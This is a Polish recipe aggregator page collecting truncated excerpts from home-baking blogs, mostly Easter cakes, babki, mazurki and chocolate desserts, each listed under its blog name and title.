jajecznego doświadczenia zagl ą da w chwili potrzeby? Na bloga Trochę Inna Cukiernia oczywiście! Zrobiłam takie, które najbardziej wpadło mi w oko - coca-cola, czy inna pepsi , oraz czekolada może w dziecinnych oczkach tylko dodać wypiekowi atrakcyjności. Powiem szczerze, że nawet nie wiem, jak smakowało - zniknęło do ostatniego okruszka, razem z dwiema towarzyszacymi wielkimi tacami ciast: waniliowym z kremem mascarpone(...)kropelka aromatu do ciasta o smaku, a jakże, coli).  Żeby nie dodawać sobie niepotrzebnego bałaganu to przyjęciowe posypałam tylko cukrem pudrem. Domowemu dostała się luksusowa polewa z czekolady.  Wyszło puszyste, mięciutkie, wilgotne ciasto. Z posmakiem coli i owszem, ale nie obezwładniajacym. Zjedliśmy i owszem, po szkole i ze smakiem.    P.S. Koniec końców dowiedziałam się, że jeden

Lejdi of the house
Kremowa rozkosz - tarta mascarpone z physalis 120

śmietany 18%, masa: 2 jajka, 3 łyżki cukru trzcinowego (do smaku), 1 opakowanie budyniu z cukrem waniliowy smak  (60 g), 100 ml słodkiej śmietanki 30%, 100 g białej czekolady, 500 g serka mascarpone, pon adto: ok 50 g physalis, cukier puder trzcinowy. Przygotowanie: Ciasto: Wszystkie składniki na kruche ciasto zagniatamy do uzyskania jednolitej masy. Ciasto przenosimy do formy, dokładnie(...)lekkiego przestygnięcia. Rada: żeby ciasto się nie podniosło, wystarczy przykryć je papierem do pieczenia i wysypać 100 g ryżu. 5 min przed końcem ściągamy papier z ryżem. Masa : Białą czekoladę dzielimy na kosteczki i rozpuszczamy w kąpieli wodnej. Jajka miksujemy z cukrem na najwyższych obrotach na tzw. kogel –mogel. Stopniowo, cały czas miksując,   dodajemy śmietankę, lekko przestudzoną czekoladę

Moniki Smakołyki
Ciasto z kremem budyniowym, z brzoskwiniami i cytrynową pianką. 591

cukru pudru 5 połówek brzoskwiń w syropie Pianka: 1 cytrynowa galaretka 250 ml gorącej wody 250 ml śmietanki kremówki 30 % ewentualnie cukier puder do smaku Dodatkowo: 5 dag białej czekolady 5 dag mlecznej czekolady Wykonanie: 1. Biszkopt: Białka ubijamy na sztywną pianę. Następnie stopniowo wsypujemy cukier i ubijamy do całkowitego rozpuszczenia się cukru, dodajemy żółtka i chwilę ubijamy. Na koniec(...)piankę. Dodajemy tężejącą galaretkę i dokładnie miksujemy. Piankę wykładamy równomiernie na kremie. Ciasto wkładamy do stężenia do lodówki na kilka godzin. 4. Dekoracja i podanie: Ciasto kroimy na kawałki. Czekolady ścieramy na tarce o dużych oczkach, posypujemy nimi każdy kawałek ciasta i podajemy. Smacznego życzę. Rady: Szklanka do odmierzania składników o pojemności 250 ml. Budynie bez cukru

Izabelawkuchni
Mazurek cygański 129

drobno pokrojonych 1 płaska łyżeczka proszku do pieczenia Lukier 1 białko 120 g cukru pudru sok z cytryny Białko utrzeć z cukrem i cytryną na gładko. Polewa 50 g czekolady deserowej Czekoladę rozpuścić w kąpieli wodnej (na parze). Blaszkę o wymiarach 23x38 cm wyłożyć na dnie papierem do pieczenia. Następnie ułożyć suche wafle przycinając je do wielkości blaszki. Żółtka(...)ciastem do połączenia się składników. Ciasto wylać na wafle wyrównać i piec w piekarniku nagrzanym do 180 stopni C przez około 30 minut. Po upieczeniu polać ciasto lukrem i czekoladą. mazurek cygański

O kuchni z uczuciem
Pascha kajmakowa z bakaliami 183

masy kajmakowej 200 g masła 50 g suszonej żurawiny całej 100 g płatków migdałowych 100 g orzechów włoskich 1 łyżka kopiasta żelatyny 2 łyżki wody 25 g czekolady gorzkiej 2 łyżki śmietanki kremówki 30% Orzechy włoskie posiekać nożem i uprażyć na suchej patelni. Żelatynę zalać zimną wodą i odstawić do napęcznienia. Żółtka i 300 g masy kajmakowej przełożyć do miski(...)wsypać bakalie i wymieszać. Ok 2 łyżek orzechów odłożyć do dekoracji. Masę przelać do formy w kształcie wieńca o maksymalnej średnicy 22 cm i odstawić do lodówki do stężenia. Czekoladę rozpuścić nad kąpielą wodną razem z kremówką. Wyjąć paschę z foremki, polać po wierzchu podgrzanym, ale nie gorącym kajmakiem, rozpuszczoną czekoladą i prażonymi orzechami. Smacznego

https:KKuchniaMniam
Ciastka jajka sadzone 142

masła 50 g cukru pudru 1 całe jajko (M) ½ łyżeczki cukru wanilinowego 1 kropla olejku migdałowego Szczypta soli Biała masa: 200 g sera twarogowego  50g białej czekolady 10g masła 1 łyżka ajerkoniaku 1 łyżka cukru Ziarenka z ¼ laski wanilii Dodatkowo:  1 mała puszka moreli w syropie [ u mnie brzoskwinie] orzechy pistacjowe lub zielona drobna posypka Mąkę przesiać, dodać(...)papierem do pieczenia. Piekarnik rozgrzać do 180 C (grzanie góra-dół). Piec ok. 10-12 minut do  lekkiego zarumienienia.Upieczone ciastka wyjąć i całkowicie wystudzić. Masa: do miseczki połamać czekoladę, dodać masło i ajerkoniak. Miskę ustawić na garnku z gotującą się wodą (miska nie może dotykać wody, a woda nie może mocno buzować!) i co jakiś czas mieszać, aż czekolada

Moje domowe kucharzenie
Babka łaciata 133

Składniki (na 12 porcji) - 50 g czekolady gorzkiej, - 125 ml mleka, - 80 g śmietany 12% - 2 jajka (ok. 100 g), - 115 g mąki pszennej, - 115 g mąki pszennej pełnoziarnistej, - 1,5 łyżeczki proszku do pieczenia, - 120 g masła, - 130 g drobnego cukru, - łyżeczka cukru pudru (ok. 5 g), - do wysmarowania formy: masło i bułka tarta. Sposób przygotowania 1. Czekoladę roztapiamy(...)dodajemy śmietanę z mlekiem i przesianą mąkę z proszkiem do pieczenia (miksujemy na wolnych obrotach). 8. Ciasto dzielimy na dwie części – jedną część łączymy delikatnie z roztopioną i przestudzoną czekoladą. 9. Formę do pieczenia smarujemy dokładnie masłem i oprószamy bułką tartą (jeżeli używamy formy silikonowej można pominąć). 10. Na przemian masę jasną i masę ciemną przekładamy do foremki (najlepiej łyżką

Zdrowe odżywianie w pięciu smakach
Babeczki cytrynowe 116

pieczenia, 1 opakowanie budyniu z cukrem waniliowy smak Winiary (60 g), 50 ml mleka 2% tłuszczu, szczypta soli, ponadto : np. lukier gotowy żółty, koraliki dekoracyjne, listki z gorzkiej czekolady (listki mięty do ich zrobienia). Przygotowanie: Białka oddzielamy od żółtek. Suche składniki: Mąkę mieszamy z budyniem i z proszkiem do pieczenia. Żółtka miksujemy z cukrem pudrem na kogel mogel, dolewamy olej(...)poziomie 2, od dołu. Przed wyjęciem robimy test długą wykałaczką. Babeczki pozostawiamy do przestygnięcia, ozdabiamy lukrem i dowolnymi dodatkami. Listki czekoladowe: Ok. 3-4 kostki gorzkiej czekolady rozpuszczamy w kąpieli wodnej. Listki świeżej mięty lub melisy,  maczamy w czekoladzie,  tylko z jednej str.  Pozostawiamy w lodówce do całkowitego przestygnięcia i delikatnie ściągamy odklejamy listki

Moniki Smakołyki
Mazurek czekoladowo-bakaliowy wg Aleex 133

świątecznym stole nie może zabraknąć mazurka. W tym roku przygotuję dla moich bliskich mazurek znaleziony na kwestii smaku. Jest przepyszny, Łączy w sobie to, co najlepsze: czekoladę, słodycz kajmaku i bakalie. Możemy użyć tych, które najbardziej lubimy. Jeśli jeszcze nie zdecydowaliście, który mazurek wybrać, proponuję Wam właśnie ten. Nie zawiedziecie się. Składniki: Ciasto: • 160 g masła • 100 g cukru pudru(...)żółtka • 250 g mąki • 2 łyżki kakao Masa czekoladowa: • 1 puszka gotowej masy kajmakowej • 100 g ciemnej czekolady deserowej lub gorzkiej • 6 łyżek mleka Dekoracja: • bakalie: skórka pomarańczowa oraz morele, orzechy i suszone śliwki Sposób przygotowania: 1. Masło utrzeć mikserem z cukrem pudrem i żółtkami na puszystą masę. 2. Dodać mąkę i kakao, wymieszać, aż do powstania kruszonki. 3. Kruszonkę

W mojej kuchni
Babka wielkanocna 117

cukru pudru – 4 jajka – 30 dkg mąki – 1 płaska łyżeczka proszku do pieczenia – 5 łyżek kwaśnej śmietany – 1/2 mlecznej lub gorzkiej czekolady (50g) – wiórki kokosowe – cukier wanilinowy Przygotowanie: Przygotować formę na babkę. Do miski przesiać mąkę i wymieszać z proszkiem do pieczenia. Żółtko oddzielić od białek. Białka ubić na sztywną pianę. Masło utrzeć(...)jasne i częściowo wbijamy np. łyżką do środka jasnego. Oiec przez ok. 45-60 minut aż do tzw. suchego patyczka w temperaturze 180 stopni. Wyciągnąć z piekarnika i ostudzić. Czekoladę rozpuścić w kąpieli wodnej. Czekoladę polać na ostudzone ciasto i posypać wiórkami kokosowymi.   Artykuł Babka wielkanocna pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Babka wielkanocna 151

cukru pudru – 4 jajka – 30 dkg mąki – 1 płaska łyżeczka proszku do pieczenia – 5 łyżek kwaśnej śmietany – 1/2 mlecznej lub gorzkiej czekolady (50g) – wiórki kokosowe – cukier wanilinowy Przygotowanie: Przygotować formę na babkę. Do miski przesiać mąkę i wymieszać z proszkiem do pieczenia. Żółtko oddzielić od białek. Białka ubić na sztywną pianę. Masło utrzeć(...)jasne i częściowo wbijamy np. łyżką do środka jasnego. Oiec przez ok. 45-60 minut aż do tzw. suchego patyczka w temperaturze 180 stopni. Wyciągnąć z piekarnika i ostudzić. Czekoladę rozpuścić w kąpieli wodnej. Czekoladę polać na ostudzone ciasto i posypać wiórkami kokosowymi.   Artykuł Babka wielkanocna pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
ciasto kawowo migdałowe-w sam raz do kawy na zbliżające się święta 162

blaszki24 na24 potrzebne składniki do wyłożenia herbatniki kakaowe, na ostatnią warstwę użyłam krakersy masa kawowa 3 łyżki żelatyny 2 szklanki mleka 2 opakowania śnieżki #łyżeczki kawy rozpuszczalnej 4 kostki czekolady masa budyniowa 1 litr mleka 2 budynie z cukrem waniliowe 3 łyżki mąki wrocławskiej 1/2 szklanki cukru kryształu 3 żółtka 1/2 paczki migdałów zmielonych 1 masło przygotowanie Pierwsze robimy masę(...)szklanki mleka i ubijamy mikserem aż będzie sztywna. Potem dodajemy żelatynę rozpuszczoną w ciepłej wodzie i kawę rozpuszczoną w ciepłej wodzie, do tego jeszcze dodałam 4 kostki startej czekolady i wyłożyłam na krakersy         ozdabianie ciasta to już wedle upodobania czekoladą czy kokosem ,jest to ciasto zmodyfikowane a znajdziecie je: http://smaki-katriny.blogspot.com/2016/09/ciasto-kawosz-z-kawowa-pianka-i-kremem.html

Moje Wyroby
Gotowana babka pomarańczowa-najlepsza 194

margaryny    3jajka   1płaska łyżeczka proszku aromat pomarańczowy+łyżka startej skórki z pomarańczy 0,5 szklanki cukru   2 łyżeczki cukru waniliowego Na polewę: 200 g czekolady mlecznej 100ml śmietanki 30 % Wykonanie: Margarynę utrzeć z cukrem i cukrem waniliowym dodać po jednym żółtku jak masa będzie jednolita to dać przesiane mąki proszek,aromat i skórkę  i delikatnie(...)tłuczka od moździerza)przez 1 godzinkę i 20 minut pod przykryciem.Po tym czasie wyjmujemy babkę z wody i odkrywamy pokrywkę,ale wyjmujemy z foremki jak już trochę przestygnie.Przygotowujemy polewę, Czekoladę siekamy drobno i dajemy do miseczki razem ze śmietaną  i rozpuszczamy w kąpieli wodnej lub w mikrofali,jak czekolada się całkiem rozpuści to polewamy nią babkę. Smacznego

Swojskie jedzonko
Nowoczesny mazurek z białą czekoladą i herbatą matcha 176

Świąteczne wypieki rządzą swoimi prawami i mazurek w formie jajka  na Wielkanocnym stole być musi J Kruche maślane ciasto w połączeniu z cieniutkim nadzieniem z białej czekolady z dodatkiem herbaty matcha w pięknym wiosennym kolorze, zaskakuje i rewelacyjnie wygląda na świątecznym stole. Tradycja z nutką nowoczesności, po to by zasmakować coś nowego i nieznanego ;) Polecam! Składniki: Ciasto kruche(...)mąki tortowej 20 dag masła 82% 8 dag cukru pudru 1 jajko 2 żółtka ¼ łyżeczki proszku do pieczenia Nadzienie: 20 dag białej czekolady 15 dag śmietany kremówki 36% 1 łyżeczka herbaty matcha Kolorowe beziki do dekoracji Wykonanie mazurka: Ciasto: Mąkę pszenną wymieszać z proszkiem do pieczenia oraz cukrem pudrem, dodać żółtka, całe jajko oraz pokrojone na kawałki zimne masło, zagnieść

Wanilia i Kardamon
Rolada brzoskwiniowa 128

brzoskwiniowy jest obłędny w smaku, a w połączeniu z kawałkami owoców nie sposób mu się oprzeć. Wbrew pozorom roladę brzoskwiniową przygotowuje się bardzo szybko. Nie musi być ona polana czekoladą. Można ją tylko posypać cukrem pudrem lub polać odrobiną lukru i udekorować plasterkami brzoskwini. SKŁADNIKI Biszkopt: 5 jajek szczypta soli 140 g cukru 150  mąki pszennej tortowej 1 łyżka(...)pieczenia 3 łyżki wody Nasączenie: 1 torebka białej herbaty Nadzienie: 500 g śmietany 36% 1 opakowanie cukru waniliowego 1 duża puszka brzoskwiń 1 galaretka brzoskwiniowa Dekoracja: 100 g gorzkiej czekolady 100 ml śmietany 30% 1 łyżeczka oleju kokosowego cukier puder WYKONANIE Biszkopt: Wszystkie składniki powinny być w temperaturze pokojowej. Spód blaszki z wyposażenia piekarnika wyłożyć papierem do pieczenia. Piekarnik rozgrzać

Passions hobbies life
Kokosowe niebo 125

Babeczki, muffiny… kokosowe z białą czekoladą. Może nie bardzo dietetyczne, ale warte każdego kęsa. kokosowy raj, kokosowe niebo. Delikatne, soczyste, puszyste. Ciasto: 300 g mąki orkiszowej 2 łyżeczki proszku do pieczenia szczypta soli 80 g erytrolu 140 g wiórków kokosowych 120 g masła 180 ml mleczka kokosowego (stała część i woda, w temp. pokojowej) 3 białka jaja 1/2 łyżeczki(...)esencji waniliowej 1/2 łyżeczki esencji migdałowej Krem: 50 g masła 100 g białej czekolady 50 g wiórków kokosowych 150 twarożku (np. Almette) 50 g jogurtu kremowego Ciasto: masło ucieramy z erytrolem na puszystą masę. Łączymy suche składniki. Mokre dodajemy do masy maślanej, ucieramy. Mokre składniki łączymy z suchymi. Masę przekładamy do kokilek na muffinki. Pieczemy ok. 25 minut

Kucharzyca
Ciasto pomarańczowe 185

pomarańcza – 250 g masła – 150 g cukru pudru – 4 jajka – 250 g mąki – 2 płaskie łyżeczki proszku do pieczenia – 1 biała czekolada (100g) – wiórki kokosowe Przygotowanie: Przygotować tortownicę o średnicy 20-24 cm (posmarować masłem i opcjonalnie wyłożyć papierem do pieczenia). Pomarańcze umyć. Zetrze skórkę i wycisnąć z niej sok. Do miski przesiać(...)pomarańczowy (ok. 90 ml) i delikatnie wymieszać łyżką. Ciasto przełożyć do tortownicy i piec przez ok. 60 minut aż do tzw. suchego patyczka. Wyciągnąć z piekarnika i ostudzić. Czekoladę rozpuścić w kąpieli wodnej dodać pozostały sok pomarańczowy ( jeśli pomarańcza była mała i nie został nam z niej sok nie musimy dodawać) i wymieszać. Czekoladę polać na ostudzone ciasto i posypać

I LOVE LIFE
Sernik marcepanowo malinowy 444

szklanki śmietany kremówki 30 % 1 łyżka cukru pudru sos malinowy: 250 g malin mrożonych 3 łyżki cukru 1 łyżka soku z cytryny jajka czekoladowe: 1/5 masy marcepanowej 1/3 tabliczki czekolady 1 łyżka masła 1/3 szklanki śmietany kremówki Marcepan: Migdały zalewam wrzątkiem w misce i odstawiam na 10 minut. Po tym czasie obieram migdały ze skórki. Jak skórka nie chce łatwo(...)temp 120 stopni na godzinę i 15 minut. Po wyłączeniu piekarnika zostawiam go w nagrzanym jeszcze  godzinę i uchylam drzwiczki. Jak przestygnie wkładam do lodówki na noc. Jajka: Czekoladę, masło, śmietanę rozpuszczam w kąpieli wodnej w miseczce. Z jednej piątej marcepanu  formuję jajka, nakłuwam je na wykałaczki i zanurzam  w czekoladzie płynnej. Jajka żeby się nie skleiły

wesoła kuchnia
Migdałowa babka 131

Lekka, puszysta babka z wyrazistą migdałową nutą, oblana delikatną białą czekoladą i posypana chrupiącymi, prażonymi migdałami to świetna propozycja na tradycyjną Wielkanocną babkę. Rewelacyjnie smakuje i z pewnością będzie słodką ozdobą świątecznego stołu. Składniki: 5 jajek 150g mąki pszennej 150g mąki ziemniaczanej 150g cukru 100g masła extra 9ml aromatu migdałowego 2 łyżeczki proszku do pieczenia szczypta soli masło do wysmarowania(...)formy bułka tarta do oprószenia formy Polewa: 60g białej czekolady 1 łyżka masła 1 łyżka śmietany 30% 35g płatków migdałowych Wykonanie: 1. Białka ubić na sztywno ze szczyptą soli. Masło utrzeć z cukrem, stopniowo dodawać żółtka, cały czas ucierać aż powstanie puszysta masa. Następnie dodać mąki wymieszane z proszkiem do pieczenia, ubite białka i aromat migdałowy. Całość dokładnie wymieszać szpatułką

Szalona Kuchnia Eweliny
Kruche babeczki z nadzieniem pomarańczowo-czekoladowym 117

też woda spod ugotowanych pomarańczy) Kilka łyżek mocnego alkoholu – może być wódka, likier cytrynowy, wódka cytrynowa. Ja użyłam akurat „cytrynówki” własnej produkcji na ciemnym cukrze muscovado. 10 kostek gorzej czekolady Dodatkowo porcja siekanych migdałów/płatków migdałowych. Kruche babeczki z nadzieniem pomarańczowo-czekoladowym Przygotowanie: Kruche ciasto przygotowujemy jak w przepisie na mazurek . Jak sami możecie zobaczyć, żeby nie wyszły(...)płatków migdałowych, podlewamy alkoholem i ponownie przesmażamy. Migdały mają się lekko zrumienić, a cukier z przypraw i alkoholu skarmelizować. Przekładamy na deskę, studzimy. Wystudzone plastry drobno siekamy wraz z czekoladą. Powstałą masę przekładamy do upieczonych babeczek i posypujemy siekanymi migdałami. Wkładamy do piekarnika nagrzanego do 150 stopni, grzanie góra dół i podpiekamy dopóki migdały z wierzchu się nie zezłocą. Możemy

Kate's Kitchen
Ciasto z kremem budyniowym i bananami 175

Sól Masa budyniowa: 1 budyń waniliowy 1 budyń czekoladowy 250 g masła 3 łyżki cukru pudru 4 łyżki cukru 1 l mleka Inne składniki: 5 bananów 60 g gorzkiej czekolady 400 ml śmietany 36% Cukier Sposób przygotowania: Mąkę pszenną i ziemniaczaną przesiewamy do miski. Białka oddzielamy od żółtek. Do oddzielonych białek dodajemy szczyptę soli i ubijamy na sztywna pianę. Następnie(...)układamy pokrojone banany, następnie nakładamy krem czekoladowy, a na to krem waniliowy. Schłodzoną śmietanę ubijamy z cukrem na sztywną pianę. Ubitą śmietanę wykładamy na górę ciasta. Wierzch posypujemy startą czekoladą. Odstawiamy do lodówki do schłodzenia. Artykuł Ciasto z kremem budyniowym i bananami pochodzi z serwisu Przepisy kulinarne, przepisy na obiad - FoodMagazine.pl

FoodMagazine.pl - Przepisy kulinarne
Ciasto pomarańczowe bez pieczenia 312

masła bez soli Masa: 1 galaretka pomarańczowa 1/2 szkl. świeżo wyciśniętego soku pomarańczowego 4 łyżki cukru pudru 330 ml śmietany kremówki (36%) 300 gr serka mascarpone 10 dkg czekolady mlecznej Ciasto pomarańczowe bez pieczenia Jak przygotować ciasto pomarańczowe. Herbatniki pokruszyć. Możemy to zrobić w mikserze bądź poprzez włożenie ich do foliowego woreczka i pokruszenie tłuczkiem. Masło roztopić, dodać do pokruszonych(...)całą od razu a wlewać średnią strużką, cały czas ubijając przy tym masę. Gotową masę wylewamy na spód kakaowy. Dokładnie rozprowadzamy. Schładzamy w lodówce przez co najmniej godzinę. Czekoladę mleczną rozpuścić. Kiedy płynna, a juz nie gorąca udekorować nią po wierzchu schłodzone ciasto. Ciasto pomarańczowe bez pieczenia O czym warto pamiętać przygotowując ciasto pomarańczowe bez pieczenia. Użyłam okrągłej formy

mecooks
Malinowy mazurek z białą czekoladą 481

Moja wersja tradycyjnego, niskiego, słodkiego ciasta kuchni polskiej, pieczonego w okresie Wielkanocy, z kruchym spodem pokrytym orzeźwiającą malinową konfiturą, która idealnie komponuje się z warstwą białej czekolady. Wielkanocny mazurek to również piękna ozdoba świątecznego stołu. Składniki: Ciasto: 250g mąki pszennej 125g masła ekstra 4 łyżki cukru pudru 1 jajko 1/4 łyżeczki proszku do pieczenia masło do wysmarowania formy Wypełnienie mazurka(...)200g konfitury z malin 100g białej czekolady 100ml śmietany 30% 1 łyżka masła Dekoracja: płatki migdałowe czekoladowe jajka Wykonanie: 1. Ciasto: Mąkę przesiać do miski, dodać proszek do pieczenia, cukier puder, masło i wszystko posiekać siekaczką. Dodać jajko, zagnieść i dokładnie zagnieść na jednolite ciasto. Po tym czasie ciasto rozwałkować podsypując mąką, wyłożyć dno formy u mnie o kształcie jaja

Szalona Kuchnia Eweliny
Dietetyczny sernik z owocami, czyli jak stworzyć zjawiskowe ciasto bez grama białego cukru 225

było w nim ani masła, ani mąki – wystarczy banan i płatki owsiane górskie, zaś masło i cukier z klasycznej polewy czekoladowej śmiało można zastąpić mleczkiem kokosowym i gorzką czekoladą. Wbrew pozorom nie trzeba bardzo kombinować, żeby to było ciasto bez cukru i mąki pszennej, nie zawierało też tłuszczu (oprócz tego pochodzącego z jajek i nieznacznej ilości z innych składników(...)banana – czyli 1 duży banan 100 g płatków owsianych górskich 60 g (2 łyżki) miodu Wykonanie POLEWA W rondelku rozgrzej mleko kokosowe. Wrzuć do niego kostki gorzkiej czekolady i mieszaj do rozpuszczenia. Odstaw masę do przestygnięcia. Oczyść truskawki z szypułek, umyj je dokładnie i osusz na papierowym ręczniku. Truskawki poprzekrajaj na połówki lub plasterki. Rozłóż truskawki na wystudzonym serniku

Eat me! Fit me!
BABKA PIASKOWA 139

Klasyczna i smaczna babka piaskowa. Polana białą czekoladą i ozdobiona borówką. Nie sposób wyobrazić sobie Świąt Wielkanocnych bez tego ciasta. Składniki: 1 szkl maki pszennej, 1 szkl mąki ziemniaczanej, 150g masła, 150g cukru pudru, 2 jaja, ½ szkl mleka, Proszek do pieczenia, Sól, Cukier waniliowy, Ponadto: 1 biała czekolada Białka oddzielić od żółtek. Cukry połączyć z żółtkami, ubić na puszystą masę(...)mleko. Białka wraz ze szczyptą soli ubić na sztywną pianę. Dodać do pozostałej masy i delikatnie wymieszać. Przełożyć do formy. Piec ok 40 minut w 170oC do suchego patyczka. Czekoladę należy roztopić w kąpieli wodnej. Polać nią wystudzoną babkę. Ozdobić borówką. Jeżeli przygotowałaś/eś ciasto z tego przepisu, bardzo proszę o jego zdjęcie :). Wyślij je na adres slodki.zakatek123@gmail.com. Fotografię

Słodki Zakątek
POTRÓJNIE CZEKOLADOWE CIASTO LASKOWE (WEGAŃSKIE, BEZGLUTENOWE, BEZ PIECZENIA) 132

lubi czekolady? Na jednym kawałku ciężko skończyć. A później ... wyrzuty sumienia, obserwowanie ciała i wagi 😋. Kiedyś tak miałam. Teraz, odkąd robię swoją domową czekoladę i własne ciasta z jej składem, nie zaprzątam sobie tym głowy. Jem i cieszę się jej słodkim smakiem. Rozkoszuję się, poprawiam sobie nastrój, sprawiam wielką przyjemność. Wierzę i widzę, że w takiej wersji nie wyrządza(...)szkody na ciele, a wewnętrznie błogo nastaja. Bo szczęśliwa mama i kobieta, to taka nie żałująca sobie czekolady. Może to i płytkie słowa,  ale ciasto patetycznie smaczne. Poczuj to! ❤ Składniki na formę o wymiarach 27 × 27 cm: Spód: 1 szklanka płatków lub wiórek kokosowych, 1 szklanka płatków owsianych (bezglutenowych), 1/4 szklanki sezamu, 1 szklanka daktyli suszonych, 2 łyżki kakao

Jeść, by żyć w zdrowiu
Ptysie z kremem jeżynowym 168

mąki 125 ml mleka 125 ml wody 115 g masła 4 jajka szczypta soli krem: 150 g jeżyn mrożonych Hortex 200 ml śmietany 30 % 120 g białej czekolady 200  g serka mascarpone  2 łyżki cukru pudru Przygotowanie: ptysie: W rondlu podgrzewamy mleko z wodą i masłem. Dodajemy szczyptę soli. Mieszamy. Zdejmujemy z ognia i d o ciepłej mieszaniny(...)ciastka suszymy jeszcze przez 10 minut . krem: Jeżyny mrożone Hortex podgrzewamy aż puszczą sok, a następnie miksujemy blenderem i przecieramy przez sito, aby pozbyć się pestek. Czekoladę rozpuszczamy w śmietanie. Do lekko przestudzonej śmietany z czekoladą dodajemy mus jeżynowy. Odstawiamy do lodówki na całą noc. Następnego dnia mus jeżynowy miksujemy z mascarpone i cukrem pudrem. Krem odstawiamy na przynajmniej pół

Bon appetit mon amie
Babka fistaszkowa z masłem orzechowym 83

wiecie jaką babkę przygotować na Wielkanoc? Polecam wypiek z masłem orzechowym i orzechami arachidowymi, a całość polana kuszącą czekoladą! Składniki: 150 g gęstej kwaśnej śmietany 200 g miękkiego masła szczypta soli 150 g cukru 3 łyżeczki cukru z wanilią 75 dag grubo mielonych orzechów ziemnych 75 dag drobno mielonych orzechów ziemnych 200 g mąki 2,5 łyżeczki proszku(...)pieczenia tłuszcz i bułka tarta do formy Polewa: 100 g gorzkiej czekolady 3/4 szklanki śmietany kremówki 1 łyżka oleju Miękkie masło, cukier, cukier waniliowy i sól utrzeć na gładką masę. Jaja dodawać pojedynczo. Całość dokładnie połączyć. W misce wymieszać orzechy, mąkę oraz proszek do pieczenia. Mieszankę wsypywać partiami do masy na zmianę z śmietaną. Ciasto wlać do formy na babkę

Czerwień i błękit
Mazurek czekoladowy I 115

około 150 – 160 stopni. Wierzch mazurka po upieczeniu jest bardzo delikatny – kruchy i przy krojeniu, troszkę się łamie, ale nie ma ma to wpływu na smak ;) 400 g czekolady deserowej*, 400 g migdałów w łupinach, 400 g cukru pudru, 5 jajek, 3 żółtka, Migdały umyć i osuszyć. Migdały zmiksować. Czekoladę zetrzeć na tarce, lub zmiksować. Jajka i żółtka utrzeć(...)pulchna masę z cukrem pudrem. Do masy jajecznej dodać migdały i czekoladę, wymieszać. Wyłożyć na opłatki lub bezpośrednio na papier do pieczenia ułożony na blasze do pieczenia. Wstawić do piekarnika nagrzanego do 150 stopni na około godzinę. Jeszcze ciepły mazurek pokroić uważajac aby się nie pokruszył z wierzchu. Mazurek upiec co najmniej dzień wcześniej. czekoladowa dekoracja świąteczna - jajko w gniazdku

królestwo garów
łatwe,smaczne migdałowe ciasto na oleju... 157

Składniki: mąka pszenna 1 szklanka, mąka ziemniaczana 1 szklanka, olej rzepakowy 1 szklanka, cukier 1 szklanka, jajka 4 sztuki, olejek migdałowy 1 sztuka, czekolada gorzka 100 gra, płatki migdałowe - ile potrzeba wszystkie składniki o temperaturze pokojowej od razu umieścić w pojemniku do miksowania ciasta mikserem wszystko utrzeć na gładkie ciasto, forma silikonowa keksówka 30x15 cm, formy przełożyć ciasto, wygładzić wierzch(...)piec w nagrzanym piekarniku na 180C, grzanie góra/dół około 50 minut, do suchego patyczka czekoladę roztopić w kąpieli wodnej, polewę wylać na ciasto i posypać płatkami migdałowymi, odstawić do zastygnięcia polewy - bardzo szybkie, łatwe, tanie i bardzo smaczne ciasto migdałowe, z polewą z czekolady jest jest idealnym ciastem na Wielkanoc ale i również na szybki deser, ciasto jest

W Mojej Kuchni Lubię
Ciasto czekoladowe z jabłkami 144

jest bowiem idealne na każdą okazję. Może więc i Wy zrobicie, bo przepis sprawdzony. Składniki: 200 g  masła 1 szklanka cukru 4 duże jajka 150 g  gorzkiej czekolady 300 g  mąki 1 łyżeczka sody 1 łyżeczka proszku do pieczenia 1/2 szklanki  rodzynek 2 łyżki koniaku 1 płaska łyżeczka cynamonu w proszku 4 jabłka cukier puder bita(...)śmietana Sposób przygotowania : Masło z cukrem utrzeć za pomocą miksera na puszysty krem. Stopniowo dodawać po jednym jajku cały czas  ubijając. Czekoladę połamać i umieścić w misce nad gotująca się wodą. Mieszać do momentu aż się roztopi. Rodzynki zalać koniakiem i odstawić. Do dużej miski przesiać mąkę, sodę oraz proszek do pieczenia, wymieszać. Do ubitej masy z masła

Gosia gotuje
Mazurek orzechowo – jabłkowy 219

szklanka cukru Składniki na masę orzechową: 150 g orzechów włoskich 0,5 szklanki gorącego mleka 60 g cukru pudru 75 g masła Składniki na polewę czekoladową: 50 g czekolady gorzkiej 50 ml śmietanki 30 % Dodatki dekoracyjne (takie jak chcecie): 50 g orzechów włoskich 2 łyżeczki płatków migdałów biały pisak dekoracyjny Przygotowanie: CIASTO NA SPÓD Mąkę przesiać na stolnicę, żółtka przetrzeć(...)orzechową, wykładamy na wierzch oraz boki przestudzonego ciasta, w boki wciskamy kawałki orzechów. Schładzamy w lodówce. W tym czasie przygotowujemy polewę czekoladową. POLEWA CZEKOLADOWA Do garnuszka wlewamy śmietankę, kruszymy czekoladę i podgrzewamy. Uważać aby nie zagotować, czekolada rozpuści się w ciepłej śmietance, wystarczy cierpliwie mieszać. Przestudzoną polewę wylewamy na masę orzechową, dekorujemy bakaliami.     Smacznego !!! Espumisan MAX to wyrób

Kierunekuchnia
makowa babka z pomarańczowo-czekoladową polewą... 174

sztuk "M", cukier 3/4 szklanki, aromat waniliowy 1 łyżeczka, mąka tortowa 2 szklanki, proszek do pieczenia 1 czubata łyżeczka, dżem śliwkowy 6 łyżek, mak niebieski mielony 200 gram, czekolada pomarańczowa 100 gram, sok z 1 pomarańczy jajka, miękką margarynę, cukier, aromat waniliowy mikserem utrzeć do spienienia masy z 4 minuty na dużych obrotach wsypać mąkę z proszkiem do pieczenia, suchy(...)przełożyć do formy, piec w nagrzanym piekarniku na 200C, grzanie góra/dół około 45-50 minut, do suchego patyczka, babkę wystudzić w formie i zimną wyjąć na talerz czekoladę o smaku pomarańczy razem z sokiem wyciśniętym z pomarańczy sokiem w garnuszku na małym ogniu roztopić mieszając i od razu polać wierzch babki, zostawić w chłodnym miejscu do zastygnięcia polewy

W Mojej Kuchni Lubię
Ciasto z kremem chałwowym, biszkoptami i kawową pianką. 177

